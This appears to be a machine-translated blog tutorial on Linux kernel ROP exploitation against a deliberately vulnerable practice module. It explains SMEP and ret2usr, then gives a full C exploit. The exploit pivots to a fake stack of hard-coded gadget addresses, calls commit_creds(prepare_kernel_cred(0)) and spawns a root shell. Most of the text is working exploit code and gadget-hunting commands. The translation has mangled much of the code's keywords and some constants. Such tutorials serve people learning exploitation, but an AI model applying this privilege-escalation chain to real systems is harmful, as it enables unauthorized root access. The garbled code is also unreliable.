0x00 Preface
1.SMEP (Supervisor Mode execution Protection): A CPU policy that slows down the kernel and disables code execution (32-bit addresses < 0x80000000) from the kernel state to the user-state memory page Each page has a SMEP identifier that indicates whether RING0 code execution is allowed.
2. The traditional method is to get the kernel stack of the current process in the kernel, traverse task_struct (refer to "exploit and guard of kernel exploit" p102), find UID, GID change value is 0, and find KERNEL_CAP_ T modify the value to 0xFFFFFFFF (keep all permissions).
At present, the typical attack mode is RET2USR, that is, the kernel state performs the flow redirect to the user space address, 2.6.29 introduces the CRED structure, so the right payload can be:
void __attribute__ ((Regparm (3))) payload () {
Commit_creds (prepare_kernel_cred (0);//Create a new credential structure body, and Uid/gid to 0 to set new permissions credentials for the current task
}
3. Target: Forge the kernel stack in user space, execute the ROP chain of kernel space, i.e. execute kernel ROP gadgets in user space.
ROP Chain (x86_64):
4. Prepare gadget (extract elf images with Extract-vmlinux, ropgadget find gadget):
1) sudo file/boot/vmlinuz*
2) sudo./extract-vmlinux/boot/vmlinuz* > Vmlinux
3) ropgadget.py--binary./vmlinux > ~/ropgadget.txt
4) grep ': Pop rdi; Ret ' Ropgadget.txt
5. Import the vulnerable kernel module, DMESG view the load path:
0x01 Vulnerability Analysis:
Static LongDevice_ioctl (structFile *file, unsignedintCMD, unsignedLongargs) { structDrv_req *req; void(*FN) (void); Switch(cmd) { Case 0: Req= (structDrv_req *) args; PRINTK (Kern_info"size =%lx\n", req->offset); PRINTK (Kern_info"fn is at%p\n", &ops[req->offset]); FN= &ops[req->offset];//When the device command is transmitted ,boundary checks on incoming parameters cause arbitrary address access, and args is unsigned long, which can be passed into any kernel addressfn (); Break; default: Break; } return 0;}
0X02 EXP
/** * ROP exploit for DRV.C kernel module * * gcc rop_exploit.c-o2-o exploit*/#define_gnu_source#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<errno.h>#include<sys/mman.h>#include<assert.h>#include"drv.h"#defineDevice_path "/dev/vulndrv"unsignedLonguser_cs;unsignedLonguser_ss;unsignedLongUser_rflags;
Take ParametersStatic voidsave_state () {ASM ("movq%%cs,%0\n" "movq%%ss,%1\n" "pushfq\n" "POPQ%2\n" : "=r"(User_cs),"=r"(USER_SS),"=r"(user_rflags)::"Memory" );}voidShellvoid) { if(!getuid ()) System ("/bin/sh"); Exit (0);}voidUsageChar*bin_name) {fprintf (stderr,"%s Array_offset_decimal array_base_address_hex\n", Bin_name);}intMainintargcChar*argv[]) { intFD; structDrv_req req; void*mapped, *Temp_stack; unsignedLongBase_addr, STACK_ADDR, MMAP_ADDR, *Fake_stack; if(ARGC! =3) {Usage (argv[0]); return-1; } Req.offset= Strtoul (argv[1], NULL,Ten); Base_addr= Strtoul (argv[2], NULL, -); printf ("Array Base address = 0x%lx\n", BASE_ADDR); Stack_addr= (base_addr + (Req.offset *8)) &0xFFFFFFFF;//The stack migration instruction takes $rxx's low 32-bit address (a 0xXXXXXXXX user-space address ) as the new stack pointer fprintf (stdout,"stack address = 0x%lx\n", STACK_ADDR); Mmap_addr= Stack_addr &0xffff0000; ASSERT ((mapped= Mmap ((void*) Mmap_addr,0x20000,7,0x32,0,0)) == (void*) mmap_addr); Assert ((Temp_stack= Mmap ((void*)0x30000000,0x10000000,7,0x32,0,0)) == (void*)0x30000000); Save_state ();
Decorate the fake stack, the stack address is executed xchg eax, esp; after a ret stack addr, the stack is migrated and the ROP gadgets Fake_stack= (unsignedLong*) (stack_addr);
*fake_stack ++=0xffffffff810027f9ul;/*pop%rdi; ret*/Fake_stack= (unsignedLong*) (STACK_ADDR +0x11e8+8); *fake_stack ++=0x0ul;/*NULL*/*fake_stack ++=0xffffffff8108e530ul;/*prepare_kernel_cred ()*/*fake_stack ++=0xffffffff81044fe1ul;/*pop%RDX; ret*/ //*fake_stack ++= 0xffffffff81095190ul;/* commit_creds () */*fake_stack ++=0xffffffff8108e276ul;//commit_creds () + 2 instructions, for RET to next gadget the push ebp must be removed,*fake_stack ++=0xffffffff81033cf8ul;/*mov%rax,%rdi; call%rdx*/*fake_stack ++=0xffffffff81052804ul;//Swapgs; ret.//*fake_stack ++= 0xdeadbeefUL; //Dummy Placeholder*fake_stack ++=0xffffffff81229d46ul;/*IRETQ*/*fake_stack ++= (unsignedLong) shell;/*Spawn a shell*/*fake_stack ++= User_cs;/*saved CS*/*fake_stack ++= user_rflags;/*saved EFlags*/*fake_stack ++= (unsignedLong) (temp_stack+0x5000000);/*mmaped Stack region in user space*/*fake_stack ++= User_ss;/*saved SS*/ //map = mmap (void *) ..., 3, 0x32, 0, 0);FD=Open (Device_path, o_rdonly); if(FD = =-1) {perror ("Open"); } IOCTL (FD,0, &req); return 0;}
Linux Kernel ROP Learning